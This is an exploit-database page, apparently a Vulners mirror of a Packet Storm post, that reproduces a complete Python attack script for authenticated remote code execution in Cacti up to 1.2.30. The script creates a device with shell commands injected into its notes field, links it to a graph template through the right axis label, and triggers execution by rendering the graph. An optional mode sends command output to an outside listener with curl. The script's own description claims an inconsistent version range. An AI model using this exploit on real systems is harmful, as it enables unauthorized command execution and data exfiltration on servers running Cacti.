Lucene search
K

📄 Cacti 1.2.30 Remote Code Execution

🗓️ 03 Jul 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 16 Views

Authenticated RCE exploit for Cacti versions up to 1.2.30 via graph rendering variable injection.

Code
==================================================================================================================================
    | # Title     : Cacti ≤ 1.2.30 Authenticated RCE Exploit Variable Injection via Graph Rendering                                  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.cacti.net/                                                                                           |
    ==================================================================================================================================
    
    [+] Summary    : This Python script is an authenticated remote code execution (RCE) exploit targeting Cacti versions ≤ 1.2.30.
    
    [+] Payload    : 
    
    #!/usr/bin/env python3
    """
    Usage:
      python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin
      python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --cmd 'id'
      python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --oob your.oastify.com
    """
    
    import argparse, sys, time, re
    import urllib.request, urllib.parse, http.cookiejar
    
    R = "\033[91m"  
    G = "\033[92m"  
    Y = "\033[93m" 
    B = "\033[1m"   
    E = "\033[0m"   
    
    def banner():
        """Prints the tool banner"""
        print(fr"""{R}{B}
    \|/          (__)    
         `\------(oo)
           ||    (__)
           ||w--||     \|/
       \|/
    {E}{B}Cacti Authenticated RCE — Host Variable Injection into RRDtool{E}
    """)
    class CactiExploit:
        """Main class for the Cacti vulnerability exploitation"""
        def __init__(self, url, user, pw):
            self.base = url.rstrip('/')  
            self.user = user          
            self.pw   = pw               
            self.jar  = http.cookiejar.CookieJar() 
            self.http = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.jar))
            self.http.addheaders = [('User-Agent', 'Mozilla/5.0')]
    
        def get(self, path, params=None):
            """Sends a GET request"""
            url = self.base + path + ('?' + urllib.parse.urlencode(params) if params else '')
            r = self.http.open(url, timeout=15)
            return r.read().decode('utf-8', errors='replace'), r.geturl()
        def post(self, path, data):
            """Sends a POST request"""
            r = self.http.open(urllib.request.Request(
                self.base + path,
                urllib.parse.urlencode(data).encode(),
                {'Content-Type': 'application/x-www-form-urlencoded'}
            ), timeout=15)
            return r.read().decode('utf-8', errors='replace'), r.geturl()
        def csrf(self, path, params=None):
            """Extracts the CSRF token from the page"""
            html, _ = self.get(path, params)
            m = re.search(r'name=["\']__csrf_magic["\'][^>]*value=["\']([^"\']+)["\']', html)
            return m.group(1) if m else ''
        def login(self):
            """Logs into Cacti"""
            print(f"[*] Logging in as {self.user}...")
            self.post('/index.php', {
                'action': 'login', 
                'login_username': self.user,
                'login_password': self.pw, 
                '__csrf_magic': self.csrf('/index.php'),
            })
            for c in self.jar:
                if 'cacti' in c.name.lower():
                    print(f"  {G}[+] Session established successfully{E}")
                    return True
            print(f"  {R}[-] Login failed{E}")
            return False
        def create_device(self, notes):
            """Creates a new device with malicious notes"""
            _, url = self.post('/host.php', {
                'action': 'save', 
                'save_component_host': '1', 
                'reindex_method': '1',
                'id': '0', 
                'host_template_id': '0', 
                'description': 'poc',
                'hostname': '127.0.0.1', 
                'location': '', 
                'poller_id': '1', 
                'site_id': '1',
                'device_threads': '1', 
                'availability_method': '0', 
                'snmp_options': '0',
                'ping_method': '1', 
                'ping_port': '23', 
                'ping_timeout': '400',
                'ping_retries': '1', 
                'snmp_version': '2', 
                'snmp_community': 'public',
                'snmp_security_level': 'authPriv', 
                'snmp_auth_protocol': 'MD5',
                'snmp_username': '', 
                'snmp_password': '', 
                'snmp_password_confirm': '',
                'snmp_priv_protocol': 'DES', 
                'snmp_priv_passphrase': '',
                'snmp_priv_passphrase_confirm': '', 
                'snmp_context': '', 
                'snmp_engine_id': '',
                'snmp_port': '161', 
                'snmp_timeout': '500', 
                'snmp_retries': '3',
                'max_oids': '10', 
                'bulk_walk_size': '0', 
                'external_id': '',
                'notes': notes, 
                '__csrf_magic': self.csrf('/host.php', {'action': 'edit'}),
            })
            m = re.search(r'[?&]id=(\d+)', url)
            return m.group(1) if m else None
        def create_template(self):
            """Creates a graph template containing the compromised variable"""
            _, url = self.post('/graph_templates.php', {
                'action': 'save', 
                'save_component_template': '1',
                'graph_template_id': '0', 
                'graph_template_graph_id': '0',
                'name': 'poc', 
                'class': 'unassigned', 
                'version': '', 
                'title': 'poc',
                'vertical_label': '', 
                'image_format_id': '1', 
                'height': '200',
                'width': '700', 
                'base_value': '1000', 
                'auto_scale_opts': '2',
                'upper_limit': '100', 
                'lower_limit': '0', 
                'unit_value': '',
                'unit_exponent_value': '', 
                'unit_length': '', 
                'right_axis': '',
                'right_axis_label': '|host_notes|',  
                'right_axis_format': '0', 
                'right_axis_formatter': '0',
                'left_axis_format': '0', 
                'left_axis_formatter': '0',
                'tab_width': '', 
                'legend_position': '0', 
                'legend_direction': '0',
                'rrdtool_version': '1.7.2',
                '__csrf_magic': self.csrf('/graph_templates.php', {'action': 'template_edit'}),
            })
            m = re.search(r'[?&]id=(\d+)', url)
            return m.group(1) if m else None
    
        def create_graph(self, host_id, tmpl_id):
            """Creates a graph that links the device to the template"""
            self.post('/graphs_new.php', {
                'save_component_graph': '1', 
                'cg_g': tmpl_id, 
                'host_id': str(host_id),
                'host_template_id': '0', 
                'action': 'save', 
                'graph_type': '-2', 
                'rows': '-1',
                '__csrf_magic': self.csrf('/graphs_new.php', {'reset': 'true', 'host_id': host_id}),
            })
            html, _ = self.get('/host.php', {'action': 'edit', 'id': host_id})
            ids = re.findall(r'graph_edit&(?:amp;)?id=(\d+)', html)
            return ids[-1] if ids else None
    
        def trigger(self, graph_id):
            """Triggers the graph generation to execute the injected command"""
            try:
                self.get('/graph_image.php', {
                    'local_graph_id': graph_id, 
                    'rra_id': '0',
                    'graph_start': '-3600', 
                    'graph_end': '0',
                })
            except Exception:
                pass 
    
        def run(self, cmd, oob=None):
            """
            Executes the main attack sequence
            cmd: The command to execute
            oob: Out-of-Band destination address for data exfiltration (optional)
            """
            if oob:
                payload_cmd = f"curl -sk http://{oob}/$({cmd}|base64 -w0)"
            else:
                payload_cmd = cmd
            notes = f"'; ({payload_cmd} &); '"
    
            print(f"[*] Creating a new device...")
            host_id = self.create_device(notes)
            if not host_id:
                print(f"  {R}[-] Failed{E}")
                return False
            print(f"  {G}[+] host_id={host_id}{E}")
    
            print(f"[*] Creating a template...")
            tmpl_id = self.create_template()
            if not tmpl_id:
                print(f"  {R}[-] Failed{E}")
                return False
            print(f"  {G}[+] template_id={tmpl_id}{E}")
    
            print(f"[*] Creating a graph...")
            graph_id = self.create_graph(host_id, tmpl_id)
            if not graph_id:
                print(f"  {R}[-] Failed{E}")
                return False
            print(f"  {G}[+] graph_id={graph_id}{E}")
    
            print(f"[*] Rendering the graph to trigger command execution...")
            time.sleep(1)
            self.trigger(graph_id)
            time.sleep(1)
    
            print(f"\n{G}{B}[+] Execution triggered successfully.{E}")
            if oob:
                print(f"    {Y}Check your OOB/Collaborator listener for incoming interactions - Path = base64({cmd}){E}")
            return True
    
    def main():
        """Main function"""
        banner()
        p = argparse.ArgumentParser(description='Cacti <= 1.3.0-dev Authenticated Remote Code Execution')
        p.add_argument('--url',  required=True, help='Cacti installation URL')
        p.add_argument('--user', default='admin', help='Username (default: admin)')
        p.add_argument('--pass', dest='password', default='admin', help='Password (default: admin)')
        p.add_argument('--cmd',  default='id', help='Command to execute (default: id)')
        p.add_argument('--oob',  help='OOB server to capture the results (e.g., Burp Collaborator)')
        args = p.parse_args()
    
        e = CactiExploit(args.url, args.user, args.password)
        if not e.login():
            sys.exit(1)
    
        e.run(cmd=args.cmd, oob=args.oob)
    
    if __name__ == '__main__':
        main()
    
    		
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jul 2026 00:00Current
6.6Medium risk
Vulners AI Score6.6
16